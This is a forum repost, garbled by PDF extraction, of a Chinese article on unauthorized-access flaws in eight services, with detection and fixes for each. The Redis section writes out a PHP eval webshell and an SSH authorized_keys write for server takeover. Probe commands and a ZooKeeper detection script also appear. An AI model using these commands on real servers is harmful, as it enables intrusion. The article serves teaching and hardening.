搜索

[18151] 2020-10-01_未授权访问漏洞总结

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2020-10-01_未授权访问漏洞总结 未 授 权 访 问 漏 洞 总 结 k a r l b r a i n   H A C K 之 道   2 0 2 0 - 1 0 - 0 1 作 者 ： k a r l b r a i n           文 章 来 源 ： F r e e B u f . C O M 未 授 权 访 问 漏 洞 可 以 理 解 为 需 要 安 全 配 置 或 权 限 认 证 的 地 址 、 授 权 页 面 存 在 缺 陷 导 致 其 他 用 户 可 以 直 接 访 问 从 未 授 权 访 问 漏 洞 可 以 理 解 为 需 要 安 全 配 置 或 权 限 认 证 的 地 址 、 授 权 页 面 存 在 缺 陷 导 致 其 他 用 户 可 以 直 接 访 问 从 而 引 发 重 要 权 限 可 被 操 作 、 数 据 库 或 网 站 目 录 等 敏 感 信 息 泄 露 。 而 引 发 重 要 权 限 可 被 操 作 、 数 据 库 或 网 站 目 录 等 敏 感 信 息 泄 露 。 常 见 的 未 授 权 访 问 漏 洞 1 . M o n g o D B   未 授 权 访 问 漏 洞 2 . R e d i s   未 授 权 访 问 漏 洞 3 . M e m c a c h e d   未 授 权 访 问 漏 洞 C V E - 2 0 1 3 - 7 2 3 9 4 . J B O S S   未 授 权 访 问 漏 洞 5 . V N C   未 授 权 访 问 漏 洞 6 . D o c k e r   未 授 权 访 问 漏 洞 7 . Z o o K e e p e r   未 授 权 访 问 漏 洞 8 . R s y n c   未 授 权 访 问 漏 洞 一 、 一 、 M o n g o D B   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 开 启   M o n g o D B   服 务 时 若 不 添 加 任 何 参 数 默 认 是 没 有 权 限 验 证 的 而 且 可 以 远 程 访 问 数 据 库 登 录 的 用 户 无 需 密 码 即 可 通 过 默 认 端 口   2 7 0 1 7   对 数 据 库 进 行 增 、 删 、 改 、 查 等 高 危 操 作 。 刚 安 装 完 毕 时 M o n g o D B   都 默 认 有 一 个 a d m i n   数 据 库 此 时   a d m i n   数 据 库 为 空 没 有 记 录 权 限 相 关 的 信 息 。 当   a d m i n . s y s t e m . u s e r s   一 个 用 户 都 没 有 时 即 使 M o n g o D B   启 动 时 添 加 了   – a u t h   参 数 还 是 可 以 做 任 何 操 作 不 管 是 否 以   – a u t h   参 数 启 动 直 到 在   a d m i n . s y s t e m . u s e r s   中 添 加 了 一 个 用 户 。 ( 2 )   风 险 等 级 高 风 险 。 ( 3 )   漏 洞 编 号 无 。 ( 4 )   影 响 范 围 M o n g o D B   数 据 库 。 检 测 方 法 检 测 方 法 可 以 自 己 编 制 相 应 脚 本 或 利 用 专 用 工 具 检 测 也 可 以 查 看 配 置 文 件
( 1 )   检 测 是 否 仅 监 听   1 2 7 . 0 . 0 . 1 ( 2 )   检 测 是 否 开 启   a u t h   认 证   修 复 方 法 修 复 方 法 ( 1 )   为   M o n g o D B   添 加 认 证 ①   M o n g o D B   启 动 时 添 加   - a u t h   参 数 。 ②   给   M o n g o D B   添 加 用 户 ( 2 )   禁 用   H T T P   和   R E S T   端 口 M o n g o D B   自 身 带 有 一 个   H T T P   服 务 并 支 持   R E S T   接 口 。 在   2 . 6   版 本 以 后 这 些 接 口 默 认 关 闭 。 M o n g o D B   默 认 会 使 用 默 认 端 口 监 听   W e b   服 务 一 般 不 需 要 通 过   W e b   方 式 进 行 远 程 管 理 建 议 禁 用 。 修 改 配 置 文 件 或 在 启 动 时 选 择   - n o h t t p i n t e r f a c e   参 数   n o h t t p i n t e r f a c e   =   f a l s e 。 ( 3 )   限 制 绑 定   I P 启 动 时 加 入 参 数 或 在   / e t c / m o n g o d b . c o n f   文 件 中 添 加 以 下 内 容   二 、 二 、 R e d i s   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 R e d i s   是 一 个 高 性 能 的   K e y   -   V a l u e   数 据 库 。 R e d i s   的 出 现 很 大 程 度 上 弥 补 了   m e m c a c h e d   这 类   K e y / V a l u e - - b i n d _ i p   1 2 7 . 0 . 0 . 1 o r v i m   / e t c / m o n g o d b . c o n f b i n d _ i p   =   1 2 7 . 0 . 0 . 1 m o n g o d   - - a u t h o r v i m   / e t c / m o n g o d b . c o n f a u t h   =   t r u e u s e   a d m i n   #   使 用   a d m i n   库 d b . a d d U s e r “ 用 户 名 ”   “ 密 码 ” #   添 加 用 户 名 、 密 码 d b . a u t h “ 用 户 名 ” , “ 密 码 ” #   验 证 是 否 添 加 成 功 返 回   1   说 明 成 功 。 - - b i n d _ i p   1 2 7 . 0 . 0 . 1 b i n d _ i p   =   1 2 7 . 0 . 0 . 1
存 储 的 不 足 在 部 分 场 合 可 以 对 关 系 数 据 库 起 到 很 好 的 补 充 作 用 。 R e d i s   默 认 情 况 下 会 绑 定 在   0 . 0 . 0 . 0 : 6 3 7 9 这 样 会 将 R e d i s   服 务 暴 露 到 公 网 上 。 在 没 有 开 启 认 证 的 情 况 下 会 导 致 任 意 用 户 在 可 以 访 问 目 标 服 务 器 的 情 况 下 未 经 授 权 就 访 问 到   R e d i s   以 及 读 取   R e d i s   的 数 据 。 攻 击 者 在 未 授 权 访 问   R e d i s   的 情 况 下 可 以 利 用   R e d i s   的 相 关 方 法 成 功 地 在   R e d i s   服 务 器 上 写 入 公 钥 进 而 可 以 使 用 对 应 私 钥 直 接 登 录 目 标 服 务 器 。 ( 2 )   风 险 等 级 高 风 险 。 ( 3 )   漏 洞 编 号 无 。 ( 4 )   影 响 范 围 R e d i s   数 据 库 。 检 测 方 法   先 用   n m a p   扫 描 查 看 端 口 开 放 情 况 发 现 开 放 的   6 3 7 9   端 口 为   R e d i s   的 默 认 端 口   N m a p   扫 描 后 发 现 主 机 的   6 3 7 9   端 口 对 外 开 放 可 以 通 过   R e d i s   客 户 端 进 行 连 接 测 试 是 否 存 在 未 授 权 访 问 漏 洞 具 体 命 令 如 下   就 可 以 看 到   R e d i s   的 版 本 和 服 务 器 上 内 核 的 版 本 信 息 也 可 以   d e l   k e y   删 除 数 据 在 网 站 写 入 木 马 写 入   S S H   公 钥 或 者 在 c r o n t a b   里 写 定 时 任 务 反 弹   s h e l l   等 。 ( 1 )   网 站 写 码 ①   先 用 客 户 端 连 接 服 务 器 的   r e d i s   服 务 ②   连 接 后 设 置 目 录   ③   设 置 要 写 入 的 文 件 名   ④   设 置 要 写 入 的 内 容   ⑤   保 存   N m a p   - A   - p   6 3 7 9   - - s c r i p t   r e d i s - i n f o   1 9 2 . 1 6 8 . 1 0 . 1 5 3 . / r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 0 . 1 5 3 I n f o r e d i s - c l i . e x e   - h   目 标 I P c o n f i g   s e t   d i r   / v a r / w w w / h t m l 此 路 径 是 服 务 器 端   W e b   网 站 的 目 录 c o n f i g   s e t   d b f i l e n a m e   r e d i s 8 8 . p h p s e t   w e b s h e l l   " < ? p h p   @ e v a l ( $ _ P O S T [ ' 1 2 3 ' ] ) ;   ? > " s a v e
⑥   保 存 后 用 菜 刀 连 接 此 木 马 得 到   w e b s h e l l 。 ( 2 )   结 合   S S H   免 密 码 登 录 ①   先 在 本 地 建 个   s s h   的 密 钥 ②   将 公 钥 的 内 容 写 到 一 个 文 本 中 命 令 如 下 注 意 写 到 文 件 中 时 一 定 要 在 前 面 加 几 行 后 面 加 几 行 。 ③   将 里 面 的 内 容 写 入 远 程 的   R e d i s   服 务 器 上 并 且 设 置 其   K e y   为   t e s t 命 令 如 下 ④   登 录 远 程 服 务 器 可 以 看 到 公 钥 已 经 添 加 到   R e d i s   的 服 务 器 上 了 命 令 如 下 ⑤   随 后 就 是 最 关 键 的 了 R e d i s   有 个   s a v e   命 令 s a v e   命 令 执 行 一 个 同 步 保 存 操 作 将 当 前   R e d i s   实 例 的 所 有 数 据 快 照 s n a p s h o t 以   R D B   文 件 的 形 式 保 存 到 硬 盘 。 所 以 s a v e   命 令 就 可 以 将   t e s t   里 的 公 钥 保 存 到   / r o o t / . s s h   下 要 有 权 限 。 修 改 保 存 的 路 径 为 修 改 文 件 名 为 保 存 。 ⑥   测 试 一 下 实 现 免 密 码 成 功 登 陆 。 修 复 方 法 修 复 方 法 ( 1 )   设 置   R e d i s   访 问 密 码 在   r e d i s . c o n f   中 找 到   “ r e q u i r e p a s s ”   字 段 在 后 面 填 上 强 口 令 r e d i s   客 户 端 也 需 要 此 密 码 来 访 问 r e d i s   服 务 。 ( 2 )   配 置   b i n d   选 项 限 定 可 以 连 接   R e i d s   服 务 器 的   I P 并 修 改 默 认 端 口   6 3 7 9 。 s s h - k e y g e n - t r s a ( e c h o   - e   " n n " ;   c a t   i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   t e s t . t x t c a t   t e s t . t x t   |   r e d i s   - c l i   - h   < h o s t n a m e >   - x   s e t   t e s t r e d i s - c l i   - h   < h o s t n a m e > k e y s   * g e t   t e s t c o n f i g   s e t   d i r   " / r o o t / . s s h " c o n f i g   s e t   d b f i l e n a m e   " a u t h o r i z e d _ k e y s " s s h   用 户 名 @ < I P 地 址 >
( 3 )   重 启   R e d i s   服 务 。 ( 4 )   清 理 系 统 中 存 在 的 后 门 木 马 。 三 、 三 、 M e m c a c h e d   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 C V E - 2 0 1 3 - 7 2 3 9 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 M e m c a c h e d   是 一 套 分 布 式 高 速 缓 存 系 统 。 它 以   K e y   -   V a l u e   的 形 式 将 数 据 存 储 在 内 存 中 。 这 些 数 据 通 常 是 会 被 频 繁 地 应 用 、 读 取 的 。 正 因 为 内 存 中 数 据 的 读 取 速 度 远 远 大 于 硬 盘 的 读 取 速 度 所 以 可 以 用 来 加 速 应 用 的 访 问 。 由 于   M e m c a c h e d   的 安 全 设 计 缺 陷 客 户 端 连 接   M e m c a c h e d   服 务 器 后 无 需 认 证 就 可 读 取 、 修 改 服 务 器 缓 存 内 容 。 ( 2 )   风 险 等 级 高 风 险 。 ( 3 )   漏 洞 编 号 C V E - 2 0 1 3 - 7 2 3 9   。 ( 4 )   影 响 范 围 M e m c a c h e d   全 版 本 。 检 测 方 法 检 测 方 法 登 录 机 器 执 行   n e t s t a t   - a n   |   m o r e   命 令 查 看 端 口 监 听 情 况 。 回 显   0 . 0 . 0 . 0 : 1 1 2 1 1 1 1 2 1 1   表 示 在 所 有 网 卡 进 行 监 听 存 在 M e m c a c h e d   未 授 权 访 问 漏 洞 。 提 示 连 接 成 功 表 示 漏 洞 存 在 。 使 用 端 口 扫 描 工 具   n m a p   进 行 远 程 扫 描 修 复 方 法   ( 1 )   配 置 访 问 控 制 。 建 议 用 户 不 要 将 服 务 发 布 到 互 联 网 上 以 防 被 黑 客 利 用 而 可 以 通 过 安 全 组 规 则 或   I p t a b l e s   配 置 访 问 控 制 规 则 只 允 许 内 部 必 需 的 用 户 地 址 访 问 命 令 如 下   ( 2 )   b i n d   指 定 监 听   I P 。 如 果   M e m c a c h e d   没 有 在 外 网 开 放 的 必 要 可 在   M e m c a c h e d   启 动 时 指 定 绑 定 的   I P   地 址 为 1 2 7 . 0 . 0 . 1 。 例 如 ( 3 )   最 小 化 权 限 运 行 。 使 用 普 通 权 限 账 号 运 行 以 下 指 定   m e m c a c h e d   用 户 运 行   t e l n e t   < t a r g e t >   1 1 2 1 1 o r n c   - v v   < t a r g e t >   1 1 2 1 1 n m a p   - s V   - p 1 1 2 1 1   - - s c r i p t   m e m c a c h e d - i n f o   < t a r g e t > i p t a b l e s   - A   I N P U T   - p   t c p   - s   1 9 2 . 1 6 8 . 0 . 2   - - d p o r t   1 1 2 1 1   - j   A C C E P T m e m c a c h e d   - d   - m   1 0 2 4   - u   m e m c a c h e d   - l   1 2 7 . 0 . 0 . 1   - p   1 1 2 1 1   - c   1 0 2 4   - P   / t m p / m e m c a c h e d . p i d m e m c a c h e d   - d   - m   1 0 2 4   - u   m e m c a c h e d   - l   1 2 7 . 0 . 0 . 1   - p   1 1 2 1 1   - c   1 0 2 4   - P   / t m p / m e m c a c h e d . p i d
( 4 )   修 改 默 认 端 口 。 修 改 默 认   1 1 2 1 1   监 听 端 口 为   1 1 2 2 2   端 口   ( 5 )   备 份 数 据 。 为 避 免 数 据 丢 失 升 级 前 应 做 好 备 份 或 建 立 硬 盘 快 照 。 四 、 四 、 J B O S S   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 J B O S S   企 业 应 用 平 台 E A P 是   J 2 E E   应 用 的 中 间 件 平 台 。 默 认 情 况 下 访 问   h t t p : / / i p : 8 0 8 0 / j m x - c o n s o l e   就 可 以 浏 览   j b o s s   的 部 署 管 理 的 信 息 不 需 要 输 入 用 户 名 和 密 码 可 以 直 接 部 署 上 传 木 马 有 安 全 隐 患 。 ( 2 )   风 险 等 级 高 风 险 。 ( 3 )   漏 洞 编 号 无 。 ( 4 )   影 响 范 围 J B O S S   全 版 本 。 检 测 方 法 检 测 方 法 先 用   n m a p   扫 描 查 看 端 口 开 放 情 况 看 是 否 开 放   J B O S S   端 口 。 再 使 用 漏 洞 测 试 工 具 测 试   j m x   组 件 存 在 情 况 通 过 访 问 h t t p : / / i p : j b o s s 端 口 /   看 是 否 能 进 入   j m x - c o n s o l e   和   w e b - c o n s o l e   。   修 复 方 法 修 复 方 法   J M X   C o n s o l e   安 全 配 置 ①   找 到   % J B O S S _ H O M E % / s e r v e r / d e f a u l t / d e p l o y / j m x - c o n s o l e . w a r / W E B - I N F / j b o s s - w e b . x m l   文 件 去 掉 下 面 这 段   x m l 文 本 的 注 释 。 ②   与   j b o s s - w e b . x m l   同 级 的 目 录 下 还 有 一 个 文 件   w e b . x m l 找 到 下 面 这 段   x m l   文 本 把   G E T   和   P O S T   两 行 注 释 掉 同 时 s e c u r i t y - c o n s t r a i n t   整 个 部 分 取 消 注 释 ,   不 然 存 在 不 然 存 在 h e a d 头 绕 过 头 绕 过 。   m e m c a c h e d   - d   - m   1 0 2 4   - u   m e m c a c h e d   - l   1 2 7 . 0 . 0 . 1   - p   1 1 2 2 2   - c   1 0 2 4   - P   / t m p / m e m c a c h e d . p i d
③   % J B O S S _ H O M E % s e r v e r d e f a u l t c o n f p r o p s j b o s s w s - u s e r s . p r o p e r t i e s   中 删 除 原 始 的   a d m i n / a d m i n 添 加 新 的 用 户 名 密 码 。   ④   % J B O S S _ H O M E % s e r v e r d e f a u l t c o n f p r o p s j b o s s w s - r o l e s . p r o p e r t i e s   中 定 义 新 用 户 名 所 属 角 色 。 该 文 件 定 义 的 格 式 为 用 户 名   =   角 色 多 个 角 色 以   “ , ”   隔 开 该 文 件 默 认 为   a d m i n   用 户 定 义 了   J B o s s A d m i n   和   H t t p I n v o k e r   这 两 个 角 色 。   五 、 五 、 V N C   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 V N C   是 虚 拟 网 络 控 制 台 V i r t u a l   N e t w o r k   C o n s o l e 的 英 文 缩 写 。 它 是 一 款 优 秀 的 远 程 控 制 工 具 软 件 由 美 国 电 话 电 报 公 司 A T & T 的 欧 洲 研 究 实 验 室 开 发 。 V N C 是 基 于   U N X I   和   L i n u x   的 免 费 开 源 软 件 由   V N C   S e r v e r   和   V N C V i e w e r   两 部 分 组 成 。 V N C   默 认 端 口 号 为   5 9 0 0 、 5 9 0 1 。 V N C   未 授 权 访 问 漏 洞 如 被 利 用 可 能 造 成 恶 意 用 户 直 接 控 制 受 控 主 机 危 害 相 当 严 重 。 ( 2 )   风 险 等 级 高 风 险 。 #   A   s a m p l e   r o l e s . p r o p e r t i e s   f i l e   f o r u s e   w i t h   t h e   U s e r s R o l e s L o g i n M o d u l e k e r m i t   =   J B o s s A d m i n , H t t p I n v o k e r
( 3 )   漏 洞 编 号 无 。 ( 4 )   影 响 范 围 V N C   全 版 本 。 检 测 方 法 检 测 方 法 使 用   m e t a s p l o i t   进 行 批 量 检 测 ( 1 )   在   k a l i   下 运 行   m s f c o n s o l e m s f c o n s o l e 。 ( 2 )   调 用   V N C   未 授 权 检 测 模 块 u s e   a u x i l i a r y / s c a n n e r / v n c / v n x n o n e a u t h 。 ( 3 )   显 示 有 哪 些 选 项 s h o w   o p t i o n s 。 ( 4 )   设 置 地 址 段 s e t   r h o s t s   i p   或   段 。 ( 5 )   设 置 线 程 s e t   t h r e a d s   5 0 。 ( 6 )   开 始 扫 描 r u n 。 修 复 方 法 修 复 方 法 ( 1 )   配 置   V N C   客 户 端 登 录 口 令 认 证 并 配 置 符 合 密 码 强 度 要 求 的 密 码 。 ( 2 )   以 最 小 权 限 的 普 通 用 户 身 份 运 行 操 作 系 统 。 六 、 六 、 D o c k e r   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 D o c k e r   是 一 个 开 源 的 引 擎 可 以 轻 松 地 为 任 何 应 用 创 建 一 个 轻 量 级 的 、 可 移 植 的 、 自 给 自 足 的 容 器 。 开 发 者 在 笔 记 本 上 编 译 测 试 通 过 的 容 器 可 以 批 量 地 在 生 产 环 境 中 部 署 包 括   V M s 、 b a r e   m e t a l 、 O p e n S t a c k   集 群 和 其 他 的 基 础 应 用 平 台 D o c k e r   存 在 问 题 的 版 本 分 别 为   1 . 3   和   1 . 6 因 为 权 限 控 制 等 问 题 导 致 可 以 脱 离 容 器 拿 到 宿 主 机 权 限 。 ( 2 )   风 险 等 级 高 风 险 。 ( 3 )   漏 洞 编 号 无 。 ( 4 )   影 响 范 围 D o c k e r   1 . 3 、 D o c k e r   1 . 6 。 检 测 方 法 检 测 方 法 先 用   n m a p   扫 描 查 看 端 口 开 放 情 况 。 2 3 7 5 为   d o c k e r   端 口 如 果 存 在 漏 洞 会 有 以 下 情 况 u r l   输 入   i p : 2 3 7 5 / v e r s i o n   就 会 列 出 基 本 信 息 也 可 以 执 行 目 标 服 务 器 容 器 命 令 如   c o n t a i n e r 、 i m a g e   等 。   修 复 方 法 修 复 方 法 ( 1 )   使 用   T L S   认 证 。
( 2 )   网 络 访 问 控 制 N e t w o r k   A c c e s s   C o n t r o l 七 、 七 、 Z o o K e e p e r   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 Z o o K e e p e r   是 一 个 分 布 式 的 开 放 源 码 的 分 布 式 应 用 程 序 协 调 服 务 是   G o o g l e   的   C h u b b y   一 个 开 源 的 实 现 是 H a d o o p   和   H b a s e   的 重 要 组 件 。 它 是 一 个 为 分 布 式 应 用 提 供 一 致 性 服 务 的 软 件 提 供 的 功 能 包 括 配 置 维 护 、 域 名 服 务 、 分 布 式 同 步 、 组 服 务 等 。 Z o o K e e p e r   默 认 开 启 在   2 1 8 1   端 口 在 未 进 行 任 何 访 问 控 制 的 情 况 下 攻 击 者 可 通 过 执 行   e n v i   命 令 获 得 系 统 大 量 的 敏 感 信 息 包 括 系 统 名 称 J a v a   环 境 。 这 将 导 致 任 意 用 户 在 网 络 可 达 的 情 况 下 进 行 为 未 授 权 访 问 并 读 取 数 据 甚 至   k i l l   服 务 。 ( 2 )   风 险 等 级 高 风 险 。 ( 3 )   漏 洞 编 号 无 。 ( 4 )   影 响 范 围 Z o o k e e p e r   全 版 本 。 检 测 方 法 检 测 方 法 ( 1 )   通 过   n m a p   扫 描 开 放 了   2 1 8 1   端 口 的 主 机 。 ( 2 )   运 行 脚 本 通 过   s o c k e t   连 接   2 1 8 1   端 口 并 发 送   e n v i   命 令 若 服 务 端 返 回 的 数 据 中 包 含   Z o o K e e p e r   的 服 务 运 行 环 境 信 息 即 可 证 明 存 在 未 授 权 访 问 。 检 测 脚 本 #   c o d i n g = u t f - 8 i m p o r t   s o c k e t i m p o r t   s y s d e f   c h e c k ( i p ,   p o r t ,   t i m e o u t ,   c m d ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 s . s e n d ( c m d ) d a t a   =   s . r e c v ( 1 0 2 4 )                 s . c l o s e ( )                 p r i n t   d a t a e x c e p t :                 p a s s d e f   m a i n ( ) : i f   l e n ( s y s . a r g v )   <   3 : e x i t ( )         i p   =   s y s . a r g v [ 1 ]         c m d   =   s y s . a r g v [ 2 ]
修 复 方 法   ( 1 )   修 改   Z o o K e e p e r   默 认 端 口 ， 采 用 其 他 端 口 服 务 ， 配 置 服 务 来 源 地 址 限 制 策 略 。 ( 2 )   增 加   Z o o K e e p e r   的 认 证 配 置 。 八 、 八 、 R s y n c   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 信 息 漏 洞 信 息 ( 1 )   漏 洞 简 述 ： R s y n c （ r e m o t e   s y n c h r o n i z e ） 是 一 个 远 程 数 据 同 步 工 具 ， 可 通 过   L A N / W A N   快 速 同 步 多 台 主 机 间 的 文 件 ， 也 可 以 同 步 本 地 硬 盘 中 的 不 同 目 录 。 R s y n c   默 认 允 许 匿 名 访 问 ， 如 果 在 配 置 文 件 中 没 有 相 关 的 用 户 认 证 以 及 文 件 授 权 ， 就 会 触 发 隐 患 。 R s y n c   的 默 认 端 口 为   8 3 7 。 ( 2 )   风 险 等 级 ： 高 风 险 。 ( 3 )   漏 洞 编 号 ： 无 。 ( 4 )   影 响 范 围 ： R s y n c   全 版 本 。 检 测 方 法 检 测 方 法 n m a p   扫 描 ： n m a p   i p   - p 8 3 7 。 列 出 当 前 目 录 ， 显 示 用 户 ： r s y n c   i p 。 如 果 是 r o o t ， 可 以 下 载 任 意 文 件 并 上 传 文 件 。 修 复 方 法 修 复 方 法 ( 1 )   隐 藏   m o d u l e   信 息 ： 修 改 配 置 文 件   l i s t   = f a l s e 。 ( 2 )   权 限 控 制 ： 不 需 要 写 入 权 限 的   m o d u l e   的 设 置 为 只 读   R e a d   o n l y   =   t r u e 。 ( 3 )   网 络 访 问 控 制 ： 使 用 安 全 组 策 略 或 白 名 单 限 制 ， 只 允 许 必 要 访 问 的 主 机 访 问 ： h o s t s   a l l o w   =   1 2 3 . 1 2 3 . 1 2 3 . 1 2 3 。 ( 4 )   账 户 认 证 ： 只 允 许 指 定 的 用 户 利 用 指 定 的 密 码 使 用   r s y n c   服 务 。 ( 5 )   数 据 加 密 传 输 ： R s y n c   默 认 没 有 直 接 支 持 加 密 传 输 ， 如 果 需 要   R s y n c   同 步 重 要 性 很 高 的 数 据 ， 可 以 使 用   s s h 。         c m d   =   s y s . a r g v [ 2 ] #   e n v i #   d u m p #   r e q s #   r u o k #   s t a t c h e c k ( i p ,   2 1 8 1 ,   3 ,   c m d ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : m a i n ( )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理